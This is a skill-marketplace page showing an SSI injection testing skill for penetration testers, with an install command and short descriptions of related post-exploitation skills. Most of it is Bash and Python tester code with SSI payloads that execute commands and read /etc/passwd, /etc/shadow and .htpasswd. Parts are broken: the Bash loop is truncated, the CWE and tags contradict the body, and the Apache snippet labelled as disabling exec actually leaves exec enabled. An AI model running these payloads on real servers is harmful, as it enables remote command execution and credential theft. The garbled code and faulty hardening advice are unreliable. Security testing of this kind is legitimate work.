用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-08命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
正在显示 SKILL.md
基于 SOC 职业分类
| name | wstg-inpv-08 |
| description | Testing for SSI Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-08 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | ["CWE-90"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-08
Testing for SSI Injection
Server-Side Includes (SSI) Injection occurs when an attacker can inject SSI directives into web pages that are processed by the web server. SSI allows embedding dynamic content into HTML pages, and successful injection can lead to arbitrary command execution, file disclosure, or other server-side attacks.
#!/bin/bash
TARGET="https://target.com"
# Check for SSI file extensions
echo "[*] Checking for SSI-enabled files..."
for ext in shtml stm shtm; do
curl -s -o /dev/null -w "%{http_code}" "$TARGET/index.$ext"
done
# Test SSI injection
echo "[*] Testing SSI injection..."
SSI_PAYLOADS=(
'<!--#echo var="DATE_LOCAL" -->'
'<!--#exec cmd="id" -->'
'<!--#include virtual="/etc/passwd" -->'
'<!--#printenv -->'
)
for payload in "${SSI_PAYLOADS[@]}"; do
encoded=$(echo -n "" | jq -sRr @uri)
response=$(curl -s )
#!/usr/bin/env python3
"""
SSI Injection Vulnerability Tester
"""
import requests
from urllib.parse import quote
class SSIInjectionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# SSI injection payloads
SSI_PAYLOADS = {
'detection': [
'<!--#echo var="DATE_LOCAL" -->',
'<!--#echo var="DOCUMENT_NAME" -->',
'<!--#echo var="SERVER_SOFTWARE" -->',
'<!--#printenv -->',
],
'file_inclusion': [
'<!--#include virtual="/etc/passwd" -->',
'<!--#include file="/etc/passwd" -->',
'<!--#include virtual="/.htpasswd" -->',
'<!--#include virtual="/etc/shadow" -->',
],
'command_execution': [
'<!--#exec cmd="id" -->',
'<!--#exec cmd="whoami" -->',
'<!--#exec cmd="cat /etc/passwd" -->',
'<!--#exec cgi="/cgi-bin/script.cgi" -->',
],
'config': [
'<!--#config timefmt="%Y" -->',
'<!--#config errmsg="SSI_TEST" -->',
],
}
def test_ssi_detection(self, param='input'):
"""Test if SSI is processed"""
print("\n[*] Testing SSI detection...")
for payload in self.SSI_PAYLOADS['detection']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for SSI output indicators
indicators = [
'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun', # DATE
'Apache', 'nginx', 'IIS', # SERVER_SOFTWARE
'DOCUMENT_ROOT', 'SERVER_NAME', # printenv
]
for indicator in indicators:
if indicator in response.text and payload not in response.text:
print(f"[VULN] SSI is being processed!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI Processing Detected',
'payload': payload,
'severity': 'High'
})
return True
# Check if payload is reflected raw (not processed)
if payload in response.text:
print(f"[INFO] SSI payload reflected but not processed")
except Exception as e:
pass
return False
def test_file_inclusion(self, param='input'):
"""Test SSI file inclusion"""
print("\n[*] Testing SSI file inclusion...")
for payload in self.SSI_PAYLOADS['file_inclusion']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for /etc/passwd content
if 'root:' in response.text:
print(f"[VULN] SSI File Inclusion!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI File Inclusion',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_command_execution(self, param='input'):
"""Test SSI command execution"""
print("\n[*] Testing SSI command execution...")
for payload in self.SSI_PAYLOADS['command_execution']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for command output indicators
if 'uid=' in response.text or 'gid=' in response.text:
print(f"[VULN] SSI Command Execution!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI Command Execution',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("SSI INJECTION REPORT")
print("="*60)
if not self.findings:
print("\nNo SSI injection vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Payload: {f['payload']}")
def run_tests(self, param='input'):
"""Run all SSI tests"""
self.test_ssi_detection(param)
self.test_file_inclusion(param)
self.test_command_execution(param)
self.generate_report()
# Usage
tester = SSIInjectionTester("https://target.com/page.shtml")
tester.run_tests()
# SSI Directives
# Echo - Display variables
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#echo var="LAST_MODIFIED" -->
<!--#echo var="SERVER_SOFTWARE" -->
# Include - Include files
<!--#include virtual="/header.html" -->
<!--#include file="footer.html" -->
# Exec - Execute commands/CGI
<!--#exec cmd="ls -la" -->
<!--#exec cgi="/cgi-bin/counter.cgi" -->
# Config - Configure SSI behavior
<!--#config timefmt="%A %B %d, %Y" -->
<!--#config sizefmt="bytes" -->
<!--#config errmsg="Error occurred" -->
# Printenv - Print environment
<!--#printenv -->
# Set - Set variables
<!--#set var="name" value="John" -->
# If/Elif/Else - Conditionals
<!--#if expr="${QUERY_STRING} = 'admin'" -->
Admin content
<!--#endif -->
# Flastmod - File last modified
<!--#flastmod virtual="/file.html" -->
# Fsize - File size
<!--#fsize file="document.pdf" -->
| Tool | Purpose |
|---|---|
| Burp Suite | Parameter fuzzing |
| curl | Manual testing |
| Custom scripts | Automated testing |
# Apache - Disable SSI exec
<Directory "/var/www/html">
Options +Includes -IncludesNOEXEC
</Directory>
# Or disable SSI entirely
<Directory "/var/www/html">
Options -Includes
</Directory>
# Restrict SSI to specific files
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
# Nginx - Disable SSI
ssi off;
# Or restrict
ssi on;
ssi_types text/html;
| Finding | CVSS | Severity |
|---|---|---|
| SSI command execution | 9.8 | Critical |
| SSI file inclusion | 7.5 | High |
| SSI information disclosure | 5.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-97 | Improper Neutralization of Server-Side Includes (SSI) |
[ ] SSI file extensions identified
[ ] SSI processing tested
[ ] File inclusion tested
[ ] Command execution tested
[ ] Environment disclosure tested
[ ] Findings documented